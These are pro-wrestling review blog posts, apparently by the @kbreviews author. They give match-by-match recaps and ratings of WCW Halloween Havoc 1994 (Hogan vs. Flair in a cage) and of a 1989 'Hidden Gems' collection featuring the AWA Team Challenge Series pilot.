Halloween Havoc 1994: When Hogan Tries

IMG Credit: WWE

Halloween Havoc 1994
Date: October 23, 1994
Location: Joe Louis Arena, Detroit, Michigan
Attendance: 14,000
Commentators: Tony Schiavone, Bobby Heenan

Someone requested this show and I haven’t watched any WCW in a VERY long time now. It’s as good of a time as any as I could go for a little pallet cleanser. Hulk Hogan has shown up and that means it’s time to put everything around him. You have to get rid of some big names at the same time, so the big main event is Hogan vs. Ric Flair in a cage, title/career vs. career. Hint hint. Let’s get to it.

The opening video is a weird music video deal about Hogan vs. Flair. Just imagine what WCW would come up with in this situation and you know what you’re in for.

I do miss that Halloween Havoc logo with the two sides coming together and the light shining.

The announcers welcome us to the show and Heenan, in a neck brace, talks about great things that have come out Detroit, mainly focusing on wrestling. All of that is going to pale in comparison to the END OF HULKAMANIA right here tonight.

T. Graham Brown, the latest country singer that WCW thought people would care about, sings the National Anthem.

TV Title: Johnny B. Badd vs. Honky Tonk Man

Badd is defending and WOW I always forget that Honky Tonk was in WCW because it’s just so random and terrible. Like, this was low even for WCW. Hold on though as Badd has to launch the Badd Blasters (confetti guns) before we can get going. Honky Tonk hides in the corner to start before Badd wristlocks him down and drops a leg on the arm for a bonus. The always funny atomic drop lets Badd mess with Honky Tonk’s hair and it’s time for a breather on the floor.

We’ll use said breather to look at Sting on the WCW Hotline (if you’re a real fan, you know the number and charges by heart). Not hear him mind you, but watching him talk. Back in and Honky Tonk sends him into the buckle, followed by an elbow to the face to put Badd down. We’re in the chinlock less than three and a half minutes in, which is a really bad sign in the first match of a pay per view.

Honky Tonk chokes on the ropes and we FINALLY acknowledge one Muhammad Ali in the front row. But we have time for T. Graham Brown??? Badd gets two off a sunset flip and we hit the chinlock at five minutes of the ten minute time limit. The comeback doesn’t take long as Badd hits a pair of slams but misses an elbow, allowing us to hit the chinlock again. Badd is up again with more rights and lefts, only to get sent into the ropes with three minutes left.

Never being that smart, Honky Tonk throws him outside and drops an ax handle as time keeps going by. Back in and we hit ANOTHER chinlock as Heenan is nearly screaming at Honky Tonk to GET GOING ALREADY. Badd makes another comeback and sends him into the buckle with less than a minute to go. The Kiss That Don’t Miss misses and Honky Tonk hits a belly to back suplex (Heenan: “COVER HIM!!!!”) gets no cover. They roll around on the mat until time expires at 10:02.

Rating: F. Are you kidding me? They had a ten minute match and needed THREE CHINLOCKS to get through the thing? I know Honky Tonk Man was an awesome heel at one point but come on already. Badd’s finisher is a punch and you can’t work an armbar? This felt so far out of place and comes off like one of Hogan’s buddies getting a job and absolutely nothing more. Terrible match and now I’m supposed to want to see them fight again in a rematch? Is there any wonder why it was so easy to fire Honky Tonk Man?

Badd beats him up post match.

Video on Hogan vs. Flair, including the masked man who attacked Hogan in a recreation of the Tonya Harding incident. That was supposed to be Mr. Perfect but contractual issues kept it from happening. Also, Mr. T., the guest referee in tonight’s main event, may be in cahoots with Ric Flair.

Heenan isn’t worried because Flair can just go for the knee and he’s guaranteed to win.

Tag Team Titles: Pretty Wonderful vs. Stars And Stripes

Pretty Wonderful (Paul Orndorff/Paul Roma) are challenging against Marcus Bagwell/The Patriot. Orndorff and Patriot start things off with a lockup that goes nowhere. Heenan thinks Patriot is Al Gore as everything breaks down early on. Bagwell is left alone in the ring as Heenan thinks we have a long way to go yet. Back in and Orndorff gets caught between both champs so it’s Roma coming in and getting his arm cranked.

Roma slams Bagwell down, runs up the corner and turns around for a top rope forearm to the chest (cool). Heenan: “What a great cat burglar he’d be.” Bagwell is back up and grabs an armbar, setting up a top rope sunset flip for two. Orndorff comes in and gets taken down as well as the champs are way too fast for them to start. A few slams put Orndorff down again and a clothesline puts him outside.

Orndorff finally gets Bagwell down with a headlock and it’s Roma dropping an elbow to really put him in trouble. A little too much taunting lets Bagwell knock Roma into the corner though and it’s Patriot coming back in to work on Roma’s arm. Bagwell cranks on the arm as well but gets driven into the corner so Orndorff can get in a cheap shot from the apron. Roma’s top rope elbow to the ribs keeps Bagwell in trouble as the assortment of forearms and punches continues.

The announcers ignore the match to talk about sights of Detroit and Hogan vs. Flair because Roma slowly beating up Bagwell isn’t all that interesting. Roma goes WAY too high on a dropkick and misses Bagwell, who gets in a headscissors but Orndorff cuts him off again. At least they can do the formula stuff well enough, even if the execution isn’t the best.

Rating: D+. This was pretty dull at times but it was miles ahead of the opener. Patriot was one of about a million partners Bagwell had (Like last year, when he and 2 Cold Scorpio lost the titles to the Nasty Boys at Halloween Havoc 1993 in the exact same finish. WCW was not good with fresh ideas.) and it’s not like the team was all that big of a deal. Orndorff was another of Hogan’s friends but at least he was a bigger star, better in the ring and had been pushed before Hogan showed up. Not a very good match but I can go for the formula stuff most of the time.

Ric Flair, during his fairly forgettable time with Sister Sherri, promises to take care of Hogan tonight when everything is on the line. It’s to prove the greatest of all time and the price is right. What a random catchphrase but Sherri was always a bit out there. Flair: “Sayonara!”

Heenan swears Hogan is gone after tonight.

We recap Dave Sullivan vs. Kevin Sullivan. They’re brothers and Dave is kind of stupid so Kevin yells at him for wanting to be like Hulk Hogan. Dave finally stood up to him so Kevin beat him down, setting up the match. There’s just one problem: Dave is on a short list for worst wrestler of all time.

Dave Sullivan vs. Kevin Sullivan

Dave comes out to “I Want To Be A Hulkamaniac” and wears a Hogan bandanna and robe. The fans….don’t care, including those in their own Hogan gear, because this really is that bad of an idea. Dave shoulders him to the floor to start and takes off the robe to reveal a Hogan shirt and red and yellow gear. Kevin clotheslines him down as we hear about those being the same boots that Hogan wore when he beat Andre.

They head outside with Dave going into the post as Heenan talks about wanting to bash kids in the head. Back in and Dave charges into a boot in the corner, allowing Kevin to hit a running crotch attack on the ropes. Heenan: “They used to do this at dinner over who took the last chicken leg.” Kevin chokes with a Hogan bandanna so Dave fights back and does the same, setting up the big boot. That’s enough for Kevin to try and make up, allowing him to get in a cheap shot. It’s back to the floor with Kevin posting Dave….who rolls back inside and beats the count for the win at 5:15.

Rating: D-. E pluribus gads this show is becoming a nightmare. Not only was the match terrible but the whole thing was designed to be a Hogan tribute character. It wasn’t enough to have Hogan be the star of the promotion but he needed a bad wrestler to pay tribute to him every few seconds? Terrible match and an even worse idea as the awful show continues.

We recap Dustin Rhodes vs. Arn Anderson. Dustin had been dealing with the Stud Stable and needed help. For reasons of pure stupidity, Dustin asked Anderson to be his partner, more or less guaranteeing that he’d turn on Dustin in the process. Then THAT’S EXACTLY WHAT HE DID, because it’s what Anderson does. It’s just his nature you see. Anyway, Dustin got his dad Dusty to help (in an awesome, underrated promo) so they could win WarGames but now it’s the showdown for revenge.

Arn Anderson vs. Dustin Rhodes

Anderson has Meng and Colonel Parker in his corner. I do miss the horribly bad but still catchy “Well They Call Him The Natural” theme for Dustin here. WCW always had bad original music and it’s kind of a guilty pleasure. A lockup sends Anderson into the corner and let’s look at a boxer at ringside. They get separated for a bit until Dustin gets in a snapmare, meaning Anderson needs to complain about a hair pull. That’s fine with Dustin, who pops him in the jaw with a right hand.

Anderson catches him on top though as this is already the best match of the show by about fourteen miles. The superplex attempt is broken up and Dustin hits a top rope clothesline for two. Anderson hits his own shot to the face and drops an elbow before starting in on the leg. It’s way too early for the Figure Four though as Dustin kicks him to the floor, where Anderson clotheslines the post by mistake.

Unlike Honky Tonk Man, Dustin is smart enough to go after the arm, which gets pulled a lot back inside. Back up and Anderson ducks a charge to send Dustin crashing hard out to the floor. Anderson does his test of strength on the mat so he can jump down onto Dustin and crotch himself spot (technical term), only to throw in a surprise by having Dustin catch him in a bodyscissors.

That just earns him a catapult into the ropes but Dustin is back up for the slugout. The double clothesline puts them both down but Dustin is up first with a regular clothesline for two. Dustin ducks his head for some reason, though he’s smart enough to grab the rope and block the DDT. It’s time to go after Arn’s arm (as he did to Dustin) but the knee drop misses, allowing Arn to grab a rollup with the ropes for two. Dustin is right back up and grabs his own rollup (without the rope) for the pin at 9:53.

Rating: C+. It says so much when this is the match of the night and it’s not even all that great. The wrestling was fine enough but the storytelling carried it as far as it went, as you could see Dustin wanting revenge and Anderson being his usual angry/evil self. I wasn’t big on the feud as a whole but what we got here was pretty good. It’s certainly better than anything else we’ve seen on this show.

Post match Anderson beats the fire out of Dustin and leaves him laying. Cue that awful song again!

Hulk Hogan talks about trying to sneak into town with Jimmy Hart and the Big Brother (as Brutus Beefcake gets ANOTHER name) but there were so many anti-Flair signs all over the place and they just couldn’t do it. This is going to be as big as the time Hogan slammed that giant.

He’s not worried about Mr. T. possibly being in Flair’s pocket because he talked to Mr. T. the other day and knows he’s still training, saying his prayers and taking his vitamins. The only thing Hogan is worried about is Flair trying to go after Mr. T. in the cage. Gene brings up all of the celebrities here and Hogan goes on a mini rant about how Flair is all that matters. The three of them have a game plan though and Flair is done tonight.

Heenan and Tony talk about the main event AGAIN. They do know we’ve already paid to see it right??? Anyway Heenan is convinced Hogan is done and all he’ll hear is a WOO.

We recap Jim Duggan beating Steve Austin for the US Title in about fifteen seconds at Fall Brawl. This was when Austin was wearing black, insulting legends and swearing a lot. I’d go with Duggan too.

US Title: Steve Austin vs. Jim Duggan

Duggan is defending. During the entrances, Tony talks about how he went to the Ford world headquarters. This sends Heenan into a hilarious rant about how boring Tony is, because he went to Tiger Stadium when there was no game and then he went to a car company where everyone was laid off. Heenan: “Maybe tomorrow we can go to the park and watch the grass grow!”

The Flair cannonball onto the leg misses again and an atomic drop puts Austin on the floor. Back in and Austin offers a handshake but gets headlocked instead. That’s broken up as well and Austin hits a middle rope ax handle to the head. Duggan punches him out of the air on a second attempt, which at least breaks up another Hogan vs. Flair discussion.

A quick grab of the referee lets Austin get in a low blow (Heenan: “There goes that trick knee again.”) and it’s some choking in the corner to keep Duggan in trouble. There’s a middle rope elbow as the empty seats are becoming a little more prevalent. Duggan makes the comeback, with Tony hyping him up as the working class hero. The comeback is on but Austin backdrops him to the floor for the DQ at 8:03.

Rating: D+. Duggan is another one of Hogan’s friends and the US Title (especially over Austin) is WAY too high for him but he has charisma and can wrestle a basic power match well enough. It wasn’t anything good but it also wasn’t a nightmare, so we can put this on the higher end of the “new” generation.

Here’s Sting, in a tuxedo, for a chat. He’s here to sit ringside for the main event so he can have a bird’s eye view. Uh, sitting ringside is not exactly a bird’s eye view but Sting has never been the brightest guy in the world.

We recap the Guardian Angel (Big Boss Man) vs. Vader in a big man fight for the #1 contendership. They’ve fought a few times with Vader winning via DQ and then thanks to some cheating. Basically Angel has been screwed over so many times that he’s ready to snap.

Vader vs. Guardian Angel

Angel has some members of the actual Guardian Angels (a volunteer crime prevention group, who ultimately made WCW stop using the name) with him during his entrance. Vader goes over to Ali and you can probably hear WCW gasp backstage but Vader drops to a knee to pay his respect instead in a rather awesome moment. Angel beats up Vader’s manager Harley Race (he probably loved it) before the bell and then slaps Vader to get things going.

You know Vader is fine with slugging away in the corner and Angel is pounded down in a hurry. Some standing clotheslines rock Angel even worse and a big one puts him on the floor. The splash hits the barricade though and Angel punches him down. Race gets punched again as well, with Angel slamming Vader on top of him back inside. Back up and Angel punches him a few times but can’t knock him down.

Vader comes back with some fast jabs and you can see Ali pointing and smiling. Angel manages a powerslam off the ropes (Vader loved that spot) and a top rope headbutt to the ribs gets two. Back up and Angel gets sent hard into the ropes so the Vader Bomb can connect (Heenan: “Bye bye doughnut breath.”)….for two.

Rating: B. This was a rather fun fight because they did what they were supposed to do here. There was no need to do anything more than have two big guys hit each other really hard until one of them couldn’t get up. Angel looked good here, which isn’t something you could say very often after early 1991 so it was a nice surprise in a heck of a match.

Boxing legend Thomas Hearns talks about the big fight feel of the main event. I don’t think Hearns has any idea what is going on here and he’s ok with that.

We recap the Nasty Boys vs. Bunkhouse Buck/Terry Funk, which is fallout from last month’s WarGames. The Stud Stable, who lost to the Rhodes Family and the Nasty Boys, beat up the Nasty Boys after the match. Therefore, it’s revenge time.

Nasty Boys vs. Bunkhouse Buck/Terry Funk

Tom Parker and Meng are here with Buck and Funk. Sags has a Jack-o-Lantern with him and I don’t see this going well. You can add in the Nasty Boys to the list of rather awesome theme songs. The Boys jump them to start and Funk is about to fight Bunk in a funny bit. That means some long form stalling on the floor as Heenan gets to praise Funk (a combination you don’t think of very often). Funk and Knobbs start things off with the latter cleaning house early on.

That means Funk can go outside and grab a chair, which is one of those things you learn to fear. Sags comes in and sits on Funk’s face, followed by the Pit Stop for a bonus. Now Funk is all ticked off and the fans are rather pleased, with Heenan comparing that to Black Lung. Bunk comes in and they be clubberin on him (Dusty helped set this up so it’s even more appropriate) as everything breaks down again.

Funk gets sent outside, hits him self in the head with a chair a bunch of times, and goes over the barricade to yell at some fans because he’s the kind of guy you can believe would go on a rampage at any time. Bunk chokes Sags with a rope on the floor and the villains take over for the first time. Everything breaks down and Buck trips Knobbs but gets caught with a foreign object. Meng pulls out his own foreign object but hits Funk by mistake, allowing Sags to hit a piledriver onto the pumpkin for the pin at 7:57.

Rating: C. I had fun with this one and that’s all they were going for. The weird part was that it felt like they were setting up a much longer match but just went to the ending. That being said, do you really want to see the Nasty Boys go fifteen minutes against Bunkhouse Buck? Funk was the star here though as he knows how to do the little things so, so well and it’s such a treat watching him do his thing. He’s one of those guys where I get something out of every match and that’s a very rare ability.

Muhammad Ali gets in the ring for a special presentation of a donation to his foundation. WCW boss Bill Shaw gives him a check and Eric Bischoff gives him a plaque. It’s so sad to see Ali in such poor health, but you can feel how special it is to see him.

Heenan rants about how Ali and Hearns never became World Champion 11 times. He’s a bit nervous you see.

WCW World Title: Ric Flair vs. Hulk Hogan

Hogan is defending in a cage with both careers on the line and Mr. T. as guest referee. Sherri and Jimmy Hart are here as well and Flair is in the awesome black and white robe (always my favorite). Flair is in red trunks, which almost guarantees a big loss (one of those things that I read once and can never unnotice it). Hogan starts fast by sending him into the corner, followed by the ten right hands. He even goes up top for some choking, which is enough for T. to yell at him.

The chop has no effect and Flair is sent into the cage a few times. Flair gets smart by going after the bad knee and we cut to Sting, with the reflection of the match being seen in his sunglasses for a cool shot. Hogan gets sent into the cage and there’s a knee drop to the head. Back up and Hogan sends him into the cage three times in a row, only to have T. yell at Hogan again.

Flair uses the breather to hit a top rope ax handle as Heenan loses it even more. A chop off goes to Hogan and they wind up on the top rope with Hogan choking on the cage some more. Flair goes to the knee again and chops away….with Hogan not having any of it. Hogan rakes the face over the cage and gets two off a belly to back suplex. It’s back to the top with Flair going into the cage again but he grabs a quick shinbreaker. Heenan: “OH BABY! Are we going to school???”

Flair starts in with his usual assortment of knee work as Heenan gets more and more excited. The Figure Four goes on in the middle of the ring (Heenan: “COUNT HIS SHOULDERS D*** IT!!!”) so Hogan gets fired up (not Hulking up just yet). The hold is turned over for the break but T. gets bumped. Flair hits a belly to back suplex and pulls T. over but there’s still no count.

Jimmy pulls Sherri off the cage (getting her skirt off in the process) so she sends him into the steps. Sting pulls Sherri down as well but here’s the masked man from underneath the ring to beat Sting up with a pipe. Sherri comes off the top of the cage with an ax handle to Hogan (that was a wild woman), who doesn’t seem to mind. Flair gets in a shot to the knee and Sherri handcuffs T. to the ropes.

With the Masked Man on the side of the cage, Hogan is rammed into the pipe and suplexed again. NOW it’s time to Hulk Up and it’s a double clothesline to Flair and Sherri. Hogan clotheslines both of them again as Sting, Hart and the Masked Man are all gone. A big boot puts Sherri down (!) and Hogan does the real Hulk Up (he didn’t really need it here), setting up the big boot to Flair. Heenan: “NOT THE LEG!!!” Hogan pulls Flair over towards T., drops the leg and retains at 19:25 to send Heenan into tears.

Rating: B+. I was expecting more of the same old Hogan/Flair stuff but they hit another level at the end there and it was rocking in the last five minutes or so. Hogan was trying hard here and it was one of the best matches I’ve seen him have in years. What matters is it felt big and that’s what they were going for. I liked this WAY better than I was expecting to and that’s always a nice feeling.

Post match Ali gets to hand Hogan the title before Hogan gets back inside for the celebration. Cue the Masked Man but Hogan catches the pipe shot and hammers away. Heenan thinks it’s Arn Anderson but it’s…..the Big Brother and the fans actually go silent. Brother begs off as Hogan is shocked, allowing Kevin Sullivan and the former Earthquake (I believe making his debut) comes in to beat Hogan down. Heenan dubs Brother the Butcher as Earthquake hits the Earthquake. Cue Sting for the save to chase everyone off.

If this had been ANYONE but Beefcake, they would have been set as this was a very hot angle to end the show. The fans were into it and Hogan sold it as well as I’ve seen him sell anything not involving Andre. Having Sting under the mask would have made it one of the best angles WCW had done in the pre-Nitro days but as it was, it was just rather good, especially after a pretty awesome main event.

A bunch of replays and a chat from the announcers, with Heenan in tears, end the show.

Roll credits.

Overall Rating: D+. Vader vs. Angel, the main event and the show closing angle did a yeoman’s work to try and save this show but my goodness that first forty minutes put them in a terrible hole. It’s not a good sign when your first three matches featured one of the worst openers ever, a match whose best part was that it wasn’t the opener, and a match nearly as bad as the opener. It’s not a bad show overall, but the stuff that is bad is VERY bad and drags down the good stuff.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Hidden Gems Collection #2: I’ve Never Seen Anything Like This And You Need To Watch It Right Now

No image on this one, because I don’t want to spoil the impact.

Hidden Gems #2
Date: 1989

So when I originally put this on the schedule, it was entirely for the sake of the AWA Team Challenge show which got….interesting reviews, shall we say for reasons of general insanity. Since I started doing the rest of the years though, I might as well do the entire year, which is quite the eclectic collection this time around. Let’s get to it.

For the sake of simplicity, I’ll do these in order from the date they aired, starting with the earliest.

From February 23, 1989 in Florida.

Gordon Solie and Diamond Dallas Page (back when he was a heel commentator with some big hair) are with Oliver Humperdink (a heel manager) at the announcers’ desk with Oliver not being happy about Dusty Rhodes. Lately Dusty has brought out his son Dustin, who needs to be taken care of. Therefore, Humperdink is calling in Terry Funk to eradicate Dustin so Dusty will give up. Terry isn’t here yet, but he’s sent in a video for our visual enjoyment.

Funk, standing in front of a big wooden cutout labeled Dusty, has a new word for us. The word is a Dusty, which is a 150lb frame, with 50lbs of added fat, 50lbs of added obesity and 50lbs of added hot air, giving you a 300lb blob. Terry whips out a chainsaw and cuts off the wooden arms and head before hacking away the painted on heart. That leaves you with a heartless jackass, and if you breed that with a thick tongued barmaid, you get a Dustin, who is too stupid to say no, he won’t get in the ring with Terry Funk. Well, that was absolutely terrifying and we’ll move on as fast as possible.

From a WWA show promoted by the AWA. Note that this is VERY late in the match with about nine minutes shown of a match that ran thirty. It was also broadcast in Japan, as you can hear the Japanese commentary under the English commentary. Also of note: former World Champion Pat O’Connor is guest referee.

Rock N Roll Express vs. British Bulldogs
Date: February 23, 1989
Location: Memorial Hall, Kansas City, Missouri
Attendance: 300
Commentators: Ray Stevens, Greg Gagne

Joined in progress with Dynamite Kid dropping a knee onto Ricky Morton’s back and slapping on an armbar. Bulldog comes in for an armbar of his own as there are more empty seats than filled ones. Morton gets thrown outside as we hit the 25 minute mark. With the fans looking bored out of their minds, Greg talks about them being up for the entire match. I know they can see the match, so why like about something that is clearly wrong? I’ve never gotten that.

It’s back to Bulldog, who misses a top rope knee but still breaks up the hot tag attempt. Morton finally rolls over for the hot tag to Robert Gibson and everything breaks down. Gibson gets one off the slowest one count ever off a backdrop and then suplexes Dynamite with two minutes left. It’s back to Ricky for two off a piledriver, followed by the double dropkick for another slow two. A small package gets the same and we have thirty seconds. Smith and Gibson both try dropkicks and it’s back to Dynamite for an exchange of small packages as the time limit expires at 7:14 shown.

Rating: D. It’s really not fair to rate the last fifth or so of a match but what we got wasn’t all that great. The wrestling wasn’t anything to see but then again these teams were WAY passed their primes by this point anyway. I certainly don’t think I’d want to see the full version, but it’s certainly fine for an historical curiosity if nothing else.

Post match Badd Company, the Tag Team Champions, say they’re ready to face any team. They’re particularly ready to face Ricky Rice and Derrick Dukes (the Top Guns), who must be dreaming if they think they’re getting the titles. Ok then.

From May 13, 1989 in Sarasota, Florida in the PWF (Professional Wrestling Federation), Dusty Rhodes’ promotion. As you can probably guess by the name of Dusty’s opponent, it didn’t even make it a year.

PWF World Title: Dusty Rhodes vs. Big Steele Man
Date: May 13, 1989
Location: Robarts Arena, Sarasota, Florida
Commentator: Gordon Solie

In a cage with Dusty defending and that would be Tugboat/Typhoon/Shockmaster. Makes sense as they’re brothers-in-law, along with Jerry Sags (there’s your trivia for the day). This is in a cage and joined in progress again with Dusty going after Man’s manager, Oliver Humperdink (hey it’s a theme collection). Man hammers away in the corner but Dusty gets in the ten right hands to take over again. The Bionic Elbow keeps Man in trouble and he gets sent head first into the cage as the blood is flowing.

Man gets smart enough to grab a bearhug but Dusty hiptosses his way to freedom, only to miss the big elbow. A right hand knocks Dusty into the referee and of course Dusty hits the big elbow a few seconds later. Humperdink comes in (because the cage door is worthless) but gets punched back. Dusty hits a suplex but Diamond Dallas Page, Steel’s other manager, throws in a towel. Apparently it’s covered in something to knock Dusty out, meaning….well nothing actually as we’re clipped to a still of Man holding up the title at about 4:20.

Rating: D-. I’ve seen a full show from these guys before and the regular thing wasn’t that much better. This was slow and plodding and little more than a way for Dusty to have a foil, even though both of them would be in the WWF in about two months. That being said, what else were you expecting from Dusty vs. Tugboat in a serious match?

And now, for the reason I wanted to watch this in the first place.

Team Challenge Series Pilot
Date: October 23, 1989
Commentators: Ralph Strangis, Greg Gagne

So back in the late 1980s, the AWA was, uh, bad. Like, really bad. Their answer was this big series of gimmick matches with a big scoring system and the entire roster split up into three teams. This was called the Team Challenge Series and what we have here is described as an unreleased home video pilot special. I’m sure this will be FASCINATING. Let’s get to it.

We open with a montage, featuring cheerleaders in very 80s bikinis chanting YAY YAY YAY FOR THE AWA, plus the American flag, a concert and wrestling. I guess this is Verne Gagne’s idea of patriotism?

Verne, with his dog, introduces the concept. He’s so excited about this concept with new technology (remember that) that he might come out of retirement one more time. I mean, would that really surprise anyone?

Our hosts and commentators, Ralph Strangis and Greg Gagne promise us some great new stuff over the next sixty minutes. The video is less than forty, making me think that either this company can’t count or something has been edited. Guess which I’m leaning towards. Greg says we’ll be able to feel the armdrags and dropkicks. Well his partner had a great dropkick so I’ll take what I can get.

Tommy Jammer vs. Tom Burton

Let me stop you right here. See, around this time the AWA wasn’t doing well with drawing audiences. That would be the case here, so this is how they solved the problem. An example of the entrances:

Now, in case that’s not enough for you, there are no fans in the “arena”, which appears to be a small, dimly lit room. Not that you can tell how big it is, when the lights go as far as where the first row would be. Now, to compensate for the lack of the fans, we do get some extreme closeups of some random people, presumably watching anything but this show. And now, the match.

Burton armdrags him down and we hear about the great technology: slow motion. Yes I said SLOW MOTION. Now for those of you unfamiliar with the history of slow motion….well you’re pretty common actually. From what I can find, the earliest usage of slow motion in television was first used on television in 1939, or FIFTY YEARS before this aired.

Back to the match, we cut to some fans giving a thumbs down sign at what appears to be a restaurant or a bar, with a brick wall and a bottle of ketchup visible. Now, considering it’s a well lit scene and the arena is about as well lit as an old school NWA arena, I’m thinking something is afoot. Or astupid. Burton hits a simple slam and that’s enough for a slow motion replay.

Jammer makes a comeback and we go to a far too close camera angle, with the camera seemingly inside the ring. That sounds cool in theory, but when it’s so close that you can’t see Jammer as he slams Burton, it might be a little too close. Oh and where is Jammer’s slow motion replay? Jammer gets an armdrag and we change camera angles, followed by another armdrag and another cut to some woman at what might be a different bar. A powerslam and a splash (called the Surfer Splash on the original call and the Jammer Splash on the replay) finish Burton at 1:46.

We go to Baron Von Raschke and Sgt. Slaughter, with the former being listed as the captain of the Blitzers. His man Paul Diamond is ready to face Slaughter’s (captain of the Snipers) Colonel DeBeers (Isn’t a colonel above a sergeant?) in what sounds like an over the top rope challenge.

Now it’s clear that these two are on different teams, but we still have no idea what the teams are, who is on them, how many teams there are, how they were determined, what they’re fighting for, or ANYTHING about the concept other than the fact that there is a concept at hand. I have a feeling this is going to get even worse as we keep go forward.

The announcers don’t like the Destruction Crew. Of note: it sounds like this was a TV show that was released on video. That would explain the time issue earlier, but it’s not really clear either way.

The Destruction Crew (Mike Enos and Wayne Bloom, better known as the Beverly Brothers in the WWF) swing sledgehammers at a green screen of a hotel being demolished. They’re ready to destroy things. Or maybe people. This was a Demolition knockoff.

Destruction Crew vs. Jerry Lynn/Ricky Rice

This would be the second time Rice has been mentioned today in what is likely the only two times he’s been mentioned in about twenty five years. The Crew has Luscious Johnny V in their corner. We get more shots of fans in what is very clearly a different location. This is described as being “just like at a sports bar”. So wait: is watching the show live like it’s in a sports bar, or is the show supposed to be in a sports bar? Are they saying the fans are watching this from elsewhere or are they supposed to be in the arena? I would assume the former, but egads this is far more complicated than it should be.

Rice gets armdragged (popular move tonight) down to start and Enos shoulders him for a bonus. Some wristlocks have Enos in trouble and it’s off to Lynn….as the fans seem pleased. That would make you believe that the fans are supposed to be in the arena, meaning this is supposed to be in the sports bars shown. Lynn, who looks nothing like he would ten years later in ECW, stays on the arm as we can see the ceiling, which is far higher than it was in the bar shots earlier.

The replay shows that Lynn’s face and head never came close to touching the mat. Greg: “He may have a broken neck!”

Post match Eric Bischoff (with huge hair) talks to Johnny and the Crew (great band name) who just talk about how awesome they are. Only Bischoff mentions the team concept, and the fact that the Crew is on Larry Zbyszko’s (unnamed) team. No word on who Lynn and Rice play for.

The announcers think that the Crew is destined for one thing: the Tag Team Titles. Not winning points or anything related to the Series, but the titles, which may or may not be a part of the Series. You know what is part of the Series? Of course not, because we still haven’t been told about it nearly fifteen minutes in.

Slaughter explains what sounds like the main event, which is an over the top rope challenge, called a King of the Hill match. DeBeers better win tonight or he’s going to disgrace America. Note that DeBeers is from South Africa.

DeBeers, standing in front of a flag which isn’t from South Africa, talks about being in the South African military and says that while he hasn’t lost a war, he’s had some casualties. From now on, Slaughter needs to communicate through the Joint Chiefs of Staff. Tonight, he’s winning for South Africa.

The announcers FINALLY tell us something about the Series: the teams were picked at random. And we move on to Beverly Hills.

We get a foxy boxing match (meaning women basically in lingerie boxing) with a ring surrounded by women in actual lingerie. The Blonde Bomber jumps Slaughterhouse Sean before the bell as we hear about their managers. The camera goes to alternating first person views as round one ends. Apparently the beating continues, though we’re looking at the Bomber’s manager Mustang Sally instead.

Ralph actually explains the rules here, even as the Bomber jumps Sean from behind and puts on a chinlock. A snap suplex gets two and the referee tells her to put the gloves back on. Sean blocks a kick in the corner and hits a heck of a right hand to knock the Bomber silly as round two ends.

Greg explains the rules and concept of the whole thing, which makes enough sense, assuming you forgive this explanation coming over halfway through the whole show.

And here are the standings:

Larry’s Legends – 16

Baron’s Blitzers – 15

Sarge’s Snipers – 13

Of course there have already been 44 points given out when we haven’t seen an actual match on the pilot yet. From what I can find, the Series started on October 1. This video is dated October 23, so assuming a point a match (and we have to assume since we haven’t been told anything otherwise), there have been an average of two matches a day, every day, since the thing took place. Also, this would suggest that it’s a TV show, because you probably wouldn’t put “current” standings on a home video release. Then again I have no reason to believe that any matches have actually taken place at this point so who knows.

Just to make it even more confusing, Diamond says this is the beginning of the Series and he’s in the first match. So yeah, there are just points for the teams despite the Series not even starting yet. This just keeps getting better and better.

Paul Diamond vs. Colonel DeBeers

Over the top rope challenge. It should be noted that during the entrances with the fake crowds, the wrestlers are turning to the left and walking into the people, just in case you thought they might be real you see. Ralph: “We are watching this with you, live from satellite base. From sea to shining sea, in sports bars and in your homes. This is the new AWA. Ralph Strangis and Greg Gagne ringside.” They can’t even go three sentences without screwing something up!

Also, if this is possibly released on home video (which makes sense if this is the first match), then how are they supposed to be watching it at a bar? And are these all bars in the Minnesota area? Or is it like some worldwide watch party where everyone got a pre-release copy of this tape and they’re all watching it together?

The bigger DeBeers shoulders him down to start but gets caught in a flying headscissors. Diamond misses a crossbody in the corner though and DeBeers tries to get him out, showing some actual thinking here for the first time on this whole thing. A dropkick grazes DeBeers and we look at the slow motion replay to prove how badly it missed. DeBeers snapmares him down and hits a top rope headbutt, followed by a kick to the ribs to knock him over the top and out to the apron.

Another headbutt misses and we take a slow motion look at DeBeers going face first into the buckle. Some right hands get DeBeers out of trouble and we crank up the crowd noise again. DeBeers rolls outside (legal) and drives some elbows into the chest before heading back inside. A piledriver is reversed into a backdrop though and Diamond gets the win for….some to be announced amount of points at 5:49.

Rating: D. Again, it’s not even the worst wrestling ever. DeBeers and Diamond are talented enough guys that they could work a completely watchable match. This was fine for what it was, even with a little drama on some of the near tosses. It’s just everything else thrown in there leaves you with so many questions.

Sgt. Slaughter vs. The Terminator

I believe the Terminator is Marcus Laurinaitis, Animal and Johnny Ace’s brother. The ring is heavily mic’d here so we’re getting a lot of extra trash talk, somehow with no swearing included. It’s so weird seeing Slaughter with hair. Slaughter hits a forearm to the chest and we see it in SLOW MOTION WITH MIC’D UP SOUND!!! I CAN’T HANDLE THIS MUCH TECHNOLOGY! They demand that the other show them toughness so Slaughter drop toeholds him down into a headlock.

We get a quick preview for next week (Again, video or not?), including a very young Yokozuna, to wrap things up.

Overall Rating: A+. This was incredible, with everything going wrong in every possible way and turning the whole thing into one of the most amazing things I’ve ever seen. It didn’t make sense, the wrestling was crazy, and the entire show was such a blast to watch. It was the kind of thing that you have to see to believe and it’s absolutely incredible in a train wreck sense.

Normally I would list off a bunch of stuff that they did wrong here but there isn’t enough space to do that justice. This was a perfect storm of awful as the AWA continues to have no idea how to get out of the downward spiral they were in. The company was long past the point where they should have pulled the plug and instead we get a show where Slow Motion is the next big thing in wrestling technology.

Really, this is something that you need to see to believe because words can’t do it justice. Just watch it for a few minutes and see if you can look away. The entire concept was a mess in the first place and then there’s….whatever you want to call this thing. It’s such an incredible spectacle and one of the few things that ever had me nearly speechless. Go out of your way to check this out and just have a good time with how insane the thing really is.

Here’s the show on the Network. You owe yourself this one.

http://network.wwe.com/video/v2518758883

 

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Royal Rumble Count-Up – 1998: Stone Cold! Stone Cold! Stone Cold!

